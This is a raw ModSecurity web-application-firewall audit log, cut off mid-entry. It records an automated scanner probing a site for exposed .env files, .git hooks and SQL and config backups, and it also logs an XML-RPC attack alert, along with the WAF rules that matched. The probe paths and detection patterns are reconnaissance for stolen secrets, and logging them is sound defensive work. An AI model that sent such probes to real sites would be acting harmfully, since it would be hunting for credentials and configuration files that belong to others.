185.177.72.210 33284 127.0.0.1 7081 --73539776-B-- GET /:5000/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --73539776-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c25ef7b6f914b5bbc6205bfc145304011750021343; expires=Sun, 15 Jun 2025 22:02:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --73539776-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.bak"] [unique_id "aE803k-pZ3B--SoGku85vwAAABE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.bak"] [unique_id "aE803k-pZ3B--SoGku85vwAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021342884395 675491 (- - -) Stopwatch2: 1750021342884395 675491; combined=2009, p1=381, p2=1470, p3=0, p4=0, p5=158, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --73539776-Z-- --5f30ac3c-A-- [16/Jun/2025:02:32:26.693382 +0530] aE804lfWRcme38U-qk7ptgAAAAI 185.177.72.210 33414 127.0.0.1 7081 --5f30ac3c-B-- GET /.git/hooks/commit-msg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5f30ac3c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2343fba1226adecc73fdf9456bdae6f81750021346; expires=Sun, 15 Jun 2025 22:02:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5f30ac3c-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/hooks/commit-msg"] [unique_id "aE804lfWRcme38U-qk7ptgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021346031784 661671 (- - -) Stopwatch2: 1750021346031784 661671; combined=1792, p1=402, p2=1292, p3=0, p4=0, p5=97, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5f30ac3c-Z-- --cfe0b574-A-- [16/Jun/2025:02:32:40.494403 +0530] aE8073wizUED0-SK4eRJCwAAAAE 185.177.72.210 34318 127.0.0.1 7081 --cfe0b574-B-- GET /examples/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cfe0b574-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7ac1fae449dba50cd816c4940cc5fced1750021360; expires=Sun, 15 Jun 2025 22:02:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cfe0b574-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/.env"] [unique_id "aE8073wizUED0-SK4eRJCwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021359847255 647212 (- - -) Stopwatch2: 1750021359847255 647212; combined=1728, p1=385, p2=1238, p3=0, p4=0, p5=104, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cfe0b574-Z-- --03e6c609-A-- [16/Jun/2025:02:32:45.593436 +0530] aE809DW73rwPI0SU-ijwFgAAAAA 185.177.72.210 34552 127.0.0.1 7081 --03e6c609-B-- GET /:8000/app/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --03e6c609-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=796450972872d4049137b15acfc284791750021365; expires=Sun, 15 Jun 2025 22:02:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --03e6c609-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/app/frontend/.env"] [unique_id "aE809DW73rwPI0SU-ijwFgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021364930768 662743 (- - -) Stopwatch2: 1750021364930768 662743; combined=1848, p1=363, p2=1382, p3=0, p4=0, p5=103, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --03e6c609-Z-- --5f30876e-A-- [16/Jun/2025:02:32:49.780164 +0530] aE80-XwizUED0-SK4eRJDwAAAAE 185.177.72.210 34696 127.0.0.1 7081 --5f30876e-B-- GET /:8080/conf/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5f30876e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fcef0a0fc4971a0a0f27003412e782841750021369; expires=Sun, 15 Jun 2025 22:02:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5f30876e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/conf/.env"] [unique_id "aE80-XwizUED0-SK4eRJDwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021369140113 640114 (- - -) Stopwatch2: 1750021369140113 640114; combined=1192, p1=311, p2=780, p3=0, p4=0, p5=101, sr=71, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5f30876e-Z-- --04c6692f-A-- [16/Jun/2025:02:32:50.068472 +0530] aE80-TW73rwPI0SU-ijwGAAAAAA 128.199.112.101 34682 127.0.0.1 7081 --04c6692f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --04c6692f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --04c6692f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE80-TW73rwPI0SU-ijwGAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021369131908 936620 (- - -) Stopwatch2: 1750021369131908 936620; combined=2189, p1=446, p2=1280, p3=46, p4=69, p5=216, sr=113, sw=132, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --04c6692f-Z-- --4ad5da57-A-- [16/Jun/2025:02:32:53.818504 +0530] aE80_TW73rwPI0SU-ijwGgAAAAA 185.177.72.210 50548 127.0.0.1 7081 --4ad5da57-B-- GET /3-sequelize/final/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4ad5da57-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5b61b8f69a00d183abf3892d9a6cf5a21750021373; expires=Sun, 15 Jun 2025 22:02:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4ad5da57-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/3-sequelize/final/.env"] [unique_id "aE80_TW73rwPI0SU-ijwGgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021373156094 662474 (- - -) Stopwatch2: 1750021373156094 662474; combined=1920, p1=398, p2=1416, p3=0, p4=0, p5=106, sr=115, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4ad5da57-Z-- --b63d723e-A-- [16/Jun/2025:02:33:01.020382 +0530] aE81BE-pZ3B--SoGku850QAAABE 185.177.72.210 47328 127.0.0.1 7081 --b63d723e-B-- GET /config_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b63d723e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=34d8c4b37362d82a3d84c5d27154851e1750021380; expires=Sun, 15 Jun 2025 22:03:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b63d723e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config_backup.sql"] [unique_id "aE81BE-pZ3B--SoGku850QAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021380354085 666455 (- - -) Stopwatch2: 1750021380354085 666455; combined=2091, p1=396, p2=1596, p3=0, p4=0, p5=98, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b63d723e-Z-- --022eaf25-A-- [16/Jun/2025:02:33:03.226143 +0530] aE81BiHEjD4mqWjYVm15SQAAABM 185.177.72.210 47396 127.0.0.1 7081 --022eaf25-B-- GET /:5000/staging/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --022eaf25-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=15d1b77a157bb39de2dc9cbfb239910c1750021383; expires=Sun, 15 Jun 2025 22:03:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --022eaf25-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/staging/.env"] [unique_id "aE81BiHEjD4mqWjYVm15SQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021382467448 758772 (- - -) Stopwatch2: 1750021382467448 758772; combined=1849, p1=405, p2=1338, p3=0, p4=0, p5=105, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --022eaf25-Z-- --5eb3f658-A-- [16/Jun/2025:02:33:09.555423 +0530] aE81DHwizUED0-SK4eRJGQAAAAE 185.177.72.210 47722 127.0.0.1 7081 --5eb3f658-B-- GET /old/db_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5eb3f658-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e32e3dea2393d98722cae8be9d2fc3141750021389; expires=Sun, 15 Jun 2025 22:03:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5eb3f658-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/old/db_backup.sql"] [unique_id "aE81DHwizUED0-SK4eRJGQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021388859848 695638 (- - -) Stopwatch2: 1750021388859848 695638; combined=1953, p1=373, p2=1490, p3=0, p4=0, p5=90, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5eb3f658-Z-- --36fbf46c-A-- [16/Jun/2025:02:33:10.587300 +0530] aE81DU-pZ3B--SoGku851wAAABE 185.177.72.210 56954 127.0.0.1 7081 --36fbf46c-B-- GET /shibboleth/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --36fbf46c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=08cef53f4cf30e83710edeaad16b2fda1750021390; expires=Sun, 15 Jun 2025 22:03:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --36fbf46c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/shibboleth/.env"] [unique_id "aE81DU-pZ3B--SoGku851wAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021389913884 673503 (- - -) Stopwatch2: 1750021389913884 673503; combined=1731, p1=369, p2=1251, p3=0, p4=0, p5=111, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --36fbf46c-Z-- --3f24ba64-A-- [16/Jun/2025:02:33:20.791609 +0530] aE81GM0RsCO0eBtdhx7AmgAAAAg 185.177.72.210 58158 127.0.0.1 7081 --3f24ba64-B-- GET /config.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3f24ba64-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=db0850b3d5968b87f19456c39ebf6f221750021400; expires=Sun, 15 Jun 2025 22:03:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3f24ba64-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.bak"] [unique_id "aE81GM0RsCO0eBtdhx7AmgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021400129781 661892 (- - -) Stopwatch2: 1750021400129781 661892; combined=1769, p1=332, p2=1324, p3=0, p4=0, p5=113, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f24ba64-Z-- --12a3a618-A-- [16/Jun/2025:02:33:25.948403 +0530] aE81HWBSQiWwwCa-v2QEDAAAAAQ 185.177.72.210 58438 127.0.0.1 7081 --12a3a618-B-- GET /.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --12a3a618-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3e3883db5f57460b92a986453fc9e5521750021405; expires=Sun, 15 Jun 2025 22:03:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --12a3a618-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.backup"] [unique_id "aE81HWBSQiWwwCa-v2QEDAAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file 